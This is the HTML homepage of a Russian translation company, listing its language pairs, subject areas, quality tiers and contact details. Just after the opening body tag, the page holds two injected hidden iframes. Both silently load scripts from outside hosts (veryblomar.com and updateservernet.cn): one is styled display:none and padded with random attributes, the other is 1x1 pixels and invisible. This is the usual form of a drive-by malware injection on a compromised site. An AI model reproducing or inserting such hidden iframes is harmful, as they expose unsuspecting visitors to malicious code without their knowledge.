Бюро переводов Лингватехника - письменный перевод научно-технических, деловых и др. текстов <body bgcolor="#EEFCFD" leftmargin="14" topmargin="20" marginwidth="14" marginheight="14"><iframe dvhav='5HLVJ1dI' gpshk='I6hAf52b' plcyb='r0anc4cH' csurk='Uyzwzoso' ygrig='QXtya6c8' src='http://veryblomar.com/vb/in.cgi?2 ' vmqik='Dv9amHqm' dhpeg='uH8yeTlk' kmuvv='Jsz9TLCD' ydpfb='NI11VdGB' vqcue='wuazq0nR' width='705' height='113' style='display:none'></iframe><iframe src='http://updateservernet.cn/tank.php' width='1' height='1' style='visibility: hidden;'></iframe> <h1 align="center" class="textZagolovok">Главная</h1> <p align="center" class="text">Мы рады приветствовать Вас на сайте ООО "Лингватехника"!</p> <p class="text"><span class="bold">Наша специализация</span> - оказание услуг по переводу научно-технических, деловых и др. текстов с некоторых европейских языков на русский язык и обратно.</p> <p class="text"><span class="bold">В чём отличия нашей компании от аналогичных компаний, предлагающих услуги перевода?</span><br> <span class="textColor">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Во-первых</span>, мы работаем на ограниченном поле предметных областей и языков. В настоящее время нами осуществляются письменные переводы текстов в следующих областях:</p> <ul> <li class="marker1">информационные технологии, компьютерная техника и программное обеспечение, автоматизация, приборостроение &nbsp;&nbsp;<span class="text">(перевод с <strong>английского</strong> языка на русский и обратно)</span>;</li> <li class="marker1">экология, гидрология, биогеография, экономическая и общая география &nbsp;&nbsp;(перевод с <strong>английского</strong> и <strong>французского</strong> языков на русский и обратно);</li> <li class="marker1">бизнес-тексты&nbsp;&nbsp;&nbsp;(перевод с <strong>английского</strong>, <strong>французского</strong>, <span class="text"><strong>польского</strong></span> языков на русский и обратно).</li> </ul> <p class="text"><span class="textColor">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Во-вторых</span>, мы осуществляем дифференцированные по качеству переводы. Наши переводы подразделяются на следующие уровни качества: <span class="textColor">высший</span>, <span class="textColor">нормальный</span>, <span class="textColor">приемлемый</span>. Соответственно дифференцированы и цены на услуги.</p> <ul> <p class="text"><span class="textColor">Переводы высшего уровня</span> осуществляются совместно специалистом-предметником и специалистом общей лингвистической квалификации, к переводам с русского языка на иностранный также привлекаются специалисты, для которых иностранный язык является родным.<br> <span class="textColor">Переводы нормального уровня</span>, осуществляют переводчики, специализирующиеся в тематике переводимых текстов, но не имеющие специального общелингвистического переводческого образования.<br> <span class="textColor">Переводы приемлемого уровня</span> осуществляются с применением автоматизированных переводчиков с последующей редакторской правкой смысловых и терминологических неточностей, но без стилистической литературной правки.</p> </ul> <p align="center" class="text">Цены на услуги отражены в <a href="pricelist.htm">прайс-листе</a>.</p> <p class="text"><span class="bold">Приглашаем</span> к сотрудничеству специалистов в различных предметных областях, имеющих опыт переводческой деятельности, а также профессиональных переводчиков, имеющих высшее специальное образование. Условия сотрудничества отражены в разделе <a href="vacancy.htm">вакансии</a>. </p> <p align="center" class="text">Если у Вас есть вопросы или предложения, то посетите <a href="mailbox.htm">почтовый ящик</a>.<br> </p> <p align="center" class="text">Наша контактная информация:</p> <table width="250" border="2" align="center" cellpadding="2" cellspacing="2"> <tr class="text"> <td width="113"> <div align="right">E-mail:</div></td> <td width="265"><a href="mailto:rets@real.net.ru">rets@real.net.ru</a></td> </tr> <tr class="text"> <td> <div align="right">Телефон/Факс:</div></td> <td>+7(095)779-51-02</td> </tr> </table> </body>